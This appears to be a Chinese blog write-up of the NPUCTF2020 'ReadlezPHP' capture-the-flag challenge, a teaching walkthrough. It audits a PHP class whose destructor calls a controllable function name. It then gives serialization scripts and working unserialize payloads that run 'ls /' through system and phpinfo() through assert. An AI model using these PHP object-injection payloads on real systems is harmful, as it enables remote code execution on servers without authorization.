web:[NPUCTF2020]ReadlezPHP

题目

打开页面显示如下

没发现其他的线索,查看源代码

发现一个网址,访问这个页面查看

进行代码审计

这段代码是一个简单的 PHP 类,名为 HelloPhp。它有两个公共属性 $a$b,并在构造函数中将它们分别初始化为字符串 "Y-m-d h:i:s" 和 "date"。

类中还定义了一个析构函数 __destruct(),它在对象销毁时被调用。在该函数中,它使用属性 $b 存储的字符串作为函数名,将属性 $a 存储的字符串作为参数,并通过调用 $b($a) 来执行日期格式化操作。

之后的代码中,创建了一个 HelloPhp 类的对象 $c。然后,通过判断 GET 请求中是否包含参数 source,如果存在,则使用 highlight_file() 函数将当前文件的源代码高亮显示并输出,然后终止程序。

最后一行代码使用 unserialize() 函数将 GET 请求中的 data 参数反序列化为对象,并使用 @ 符号将可能产生的错误屏蔽,防止错误信息泄露。

由上述代码可知,存在魔法函数__destruct(),调用危险函数b(a),a、b参数可控

构造脚本如下

<?php
  class HelloPhp
{
  public $a="ls /";
  public $b="system"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

结果如下

所以payload为

?data=O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

但是没有显示

猜测可能是过滤了部分函数,尝试用别的

<?php
class HelloPhp
{
    public $a="phpinfo()";
    public $b="assert"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);

?>
  

payload为

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}<br>O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

发现system被禁用了

找到一个flag

还有另一个flag,可参考文章链接:

CTF-PHP反序列化漏洞2-利用魔法函数_php反序列化漏洞题目_Eason_LYC的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值